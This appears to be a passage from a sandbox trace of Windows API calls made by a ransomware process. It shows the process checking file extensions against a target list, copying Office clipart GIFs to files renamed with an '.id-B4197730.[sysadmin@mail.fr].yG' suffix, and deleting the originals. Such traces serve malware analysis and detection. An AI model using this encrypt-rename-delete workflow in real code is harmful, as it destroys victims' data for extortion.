	[0051.790] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.790] lstrlenW (lpString=".bz2") returned 4
	[0051.790] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.790] lstrlenW (lpString=".7z") returned 3
	[0051.790] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68
	[0051.790] lstrlenW (lpString=".dbf") returned 4
	[0051.790] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68
	[0051.790] lstrlenW (lpString=".1cd") returned 4
	[0051.790] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68
	[0051.790] lstrlenW (lpString=".jpg") returned 4
	[0051.790] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.790] lstrcmpiW (lpString1=".GIF", lpString2=".yG") returned -1
	[0051.791] lstrlenW (lpString="AG00142_.GIF") returned 12
	[0051.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0051.792] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=15308) returned 1
	[0051.792] CloseHandle (hObject=0x394) returned 1
	[0051.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif")) returned 0x220
	[0051.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0051.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0051.792] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.792] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0051.793] GetLastError () returned 0x0
	[0051.793] ReadFile (in: hFile=0x394, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x3bcc, lpOverlapped=0x0) returned 1
	[0051.864] WriteFile (in: hFile=0x2e0, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x3bd0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x3bd0, lpOverlapped=0x0) returned 1
	[0051.865] ReadFile (in: hFile=0x394, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0051.865] WriteFile (in: hFile=0x2e0, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1
	[0051.865] SetEndOfFile (hFile=0x2e0) returned 1
	[0051.865] CloseHandle (hObject=0x2e0) returned 1
	[0051.866] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.866] SetEndOfFile (hFile=0x394) returned 1
	[0051.866] CloseHandle (hObject=0x394) returned 1
	[0051.866] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0051.867] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif")) returned 1
	[0051.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68
	[0051.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68
	[0051.867] lstrlenW (lpString=".doc") returned 4
	[0051.867] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.867] lstrlenW (lpString=".docx") returned 5
	[0051.867] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.867] lstrlenW (lpString=".pdf") returned 4
	[0051.867] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.867] lstrlenW (lpString=".xls") returned 4
	[0051.867] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.867] lstrlenW (lpString=".xlsx") returned 5
	[0051.867] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.867] lstrlenW (lpString=".ppt") returned 4
	[0051.867] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68
	[0051.867] lstrlenW (lpString=".zip") returned 4
	[0051.867] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.867] lstrlenW (lpString=".rar") returned 4
	[0051.867] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.868] lstrlenW (lpString=".bz2") returned 4
	[0051.868] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.868] lstrlenW (lpString=".7z") returned 3
	[0051.868] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68
	[0051.868] lstrlenW (lpString=".dbf") returned 4
	[0051.868] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68
	[0051.868] lstrlenW (lpString=".1cd") returned 4
	[0051.868] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68
	[0051.868] lstrlenW (lpString=".jpg") returned 4
	[0051.868] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68
	[0051.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68
	[0051.868] lstrlenW (lpString=".doc") returned 4
	[0051.868] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.868] lstrlenW (lpString=".docx") returned 5
	[0051.868] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.868] lstrlenW (lpString=".pdf") returned 4
	[0051.868] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.868] lstrlenW (lpString=".xls") returned 4
	[0051.868] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.868] lstrlenW (lpString=".xlsx") returned 5
	[0051.868] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.868] lstrlenW (lpString=".ppt") returned 4
	[0051.868] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68
	[0051.868] lstrlenW (lpString=".zip") returned 4
	[0051.868] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.869] lstrlenW (lpString=".rar") returned 4
	[0051.869] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.869] lstrlenW (lpString=".bz2") returned 4
	[0051.869] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.869] lstrlenW (lpString=".7z") returned 3
	[0051.869] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68
	[0051.869] lstrlenW (lpString=".dbf") returned 4
	[0051.869] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68
	[0051.869] lstrlenW (lpString=".1cd") returned 4
	[0051.869] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68
	[0051.869] lstrlenW (lpString=".jpg") returned 4
	[0051.869] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.869] lstrcmpiW (lpString1=".GIF", lpString2=".yG") returned -1
	[0051.869] lstrlenW (lpString="AG00158_.GIF") returned 12
	[0051.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0051.873] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=5030) returned 1
	[0051.873] CloseHandle (hObject=0x2f4) returned 1
	[0051.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif")) returned 0x220
	[0051.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0051.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0051.873] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.873] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0051.879] GetLastError () returned 0x0
	[0051.879] ReadFile (in: hFile=0x2f4, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x13a6, lpOverlapped=0x0) returned 1
	[0051.905] WriteFile (in: hFile=0x394, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x13b0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x13b0, lpOverlapped=0x0) returned 1
	[0051.906] ReadFile (in: hFile=0x2f4, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0051.906] WriteFile (in: hFile=0x394, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1
	[0051.906] SetEndOfFile (hFile=0x394) returned 1
	[0051.906] CloseHandle (hObject=0x394) returned 1
	[0051.907] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.907] SetEndOfFile (hFile=0x2f4) returned 1
	[0051.908] CloseHandle (hObject=0x2f4) returned 1
	[0051.908] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0051.908] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif")) returned 1
	[0051.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68
	[0051.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68
	[0051.909] lstrlenW (lpString=".doc") returned 4
	[0051.909] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.909] lstrlenW (lpString=".docx") returned 5
	[0051.909] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.909] lstrlenW (lpString=".pdf") returned 4
	[0051.909] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.909] lstrlenW (lpString=".xls") returned 4
	[0051.909] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.909] lstrlenW (lpString=".xlsx") returned 5
	[0051.909] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.909] lstrlenW (lpString=".ppt") returned 4
	[0051.909] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68
	[0051.909] lstrlenW (lpString=".zip") returned 4
	[0051.909] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.909] lstrlenW (lpString=".rar") returned 4
	[0051.909] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.909] lstrlenW (lpString=".bz2") returned 4
	[0051.909] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.909] lstrlenW (lpString=".7z") returned 3
	[0051.909] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68
	[0051.909] lstrlenW (lpString=".dbf") returned 4
	[0051.909] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68
	[0051.909] lstrlenW (lpString=".1cd") returned 4
	[0051.909] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68
	[0051.909] lstrlenW (lpString=".jpg") returned 4
	[0051.909] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68
	[0051.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68
	[0051.909] lstrlenW (lpString=".doc") returned 4
	[0051.909] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.909] lstrlenW (lpString=".docx") returned 5
	[0051.909] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.910] lstrlenW (lpString=".pdf") returned 4
	[0051.910] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.910] lstrlenW (lpString=".xls") returned 4
	[0051.910] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.910] lstrlenW (lpString=".xlsx") returned 5
	[0051.910] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.910] lstrlenW (lpString=".ppt") returned 4
	[0051.910] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68
	[0051.910] lstrlenW (lpString=".zip") returned 4
	[0051.910] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.910] lstrlenW (lpString=".rar") returned 4
	[0051.910] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.910] lstrlenW (lpString=".bz2") returned 4
	[0051.910] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.910] lstrlenW (lpString=".7z") returned 3
	[0051.910] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68
	[0051.910] lstrlenW (lpString=".dbf") returned 4
	[0051.910] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68
	[0051.910] lstrlenW (lpString=".1cd") returned 4
	[0051.910] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68
	[0051.910] lstrlenW (lpString=".jpg") returned 4
	[0051.910] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.910] lstrcmpiW (lpString1=".GIF", lpString2=".yG") returned -1
	[0051.910] lstrlenW (lpString="AG00163_.GIF") returned 12
	[0051.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0051.911] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=6984) returned 1
	[0051.911] CloseHandle (hObject=0x2f4) returned 1
	[0051.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif")) returned 0x220
	[0051.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0051.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0051.911] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.911] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0051.911] GetLastError () returned 0x0
	[0051.911] ReadFile (in: hFile=0x2f4, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x1b48, lpOverlapped=0x0) returned 1
	[0051.949] WriteFile (in: hFile=0x394, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x1b50, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x1b50, lpOverlapped=0x0) returned 1
	[0051.950] ReadFile (in: hFile=0x2f4, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0051.950] WriteFile (in: hFile=0x394, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1
	[0051.950] SetEndOfFile (hFile=0x394) returned 1
	[0051.950] CloseHandle (hObject=0x394) returned 1
	[0051.951] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.951] SetEndOfFile (hFile=0x2f4) returned 1
	[0051.951] CloseHandle (hObject=0x2f4) returned 1
	[0051.952] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0051.952] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif")) returned 1
	[0051.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68
	[0051.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68
	[0051.952] lstrlenW (lpString=".doc") returned 4
	[0051.952] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.952] lstrlenW (lpString=".docx") returned 5
	[0051.952] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.952] lstrlenW (lpString=".pdf") returned 4
	[0051.952] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.952] lstrlenW (lpString=".xls") returned 4
	[0051.952] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.952] lstrlenW (lpString=".xlsx") returned 5
	[0051.952] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.952] lstrlenW (lpString=".ppt") returned 4
	[0051.952] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68
	[0051.952] lstrlenW (lpString=".zip") returned 4
	[0051.952] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.952] lstrlenW (lpString=".rar") returned 4
	[0051.952] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.952] lstrlenW (lpString=".bz2") returned 4
	[0051.953] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.953] lstrlenW (lpString=".7z") returned 3
	[0051.953] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68
	[0051.953] lstrlenW (lpString=".dbf") returned 4
	[0051.953] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68
	[0051.953] lstrlenW (lpString=".1cd") returned 4
	[0051.953] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68
	[0051.953] lstrlenW (lpString=".jpg") returned 4
	[0051.953] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68
	[0051.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68
	[0051.953] lstrlenW (lpString=".doc") returned 4
	[0051.953] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.953] lstrlenW (lpString=".docx") returned 5
	[0051.953] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.953] lstrlenW (lpString=".pdf") returned 4
	[0051.953] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.953] lstrlenW (lpString=".xls") returned 4
	[0051.953] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.953] lstrlenW (lpString=".xlsx") returned 5
	[0051.953] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.953] lstrlenW (lpString=".ppt") returned 4
	[0051.953] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68
	[0051.953] lstrlenW (lpString=".zip") returned 4
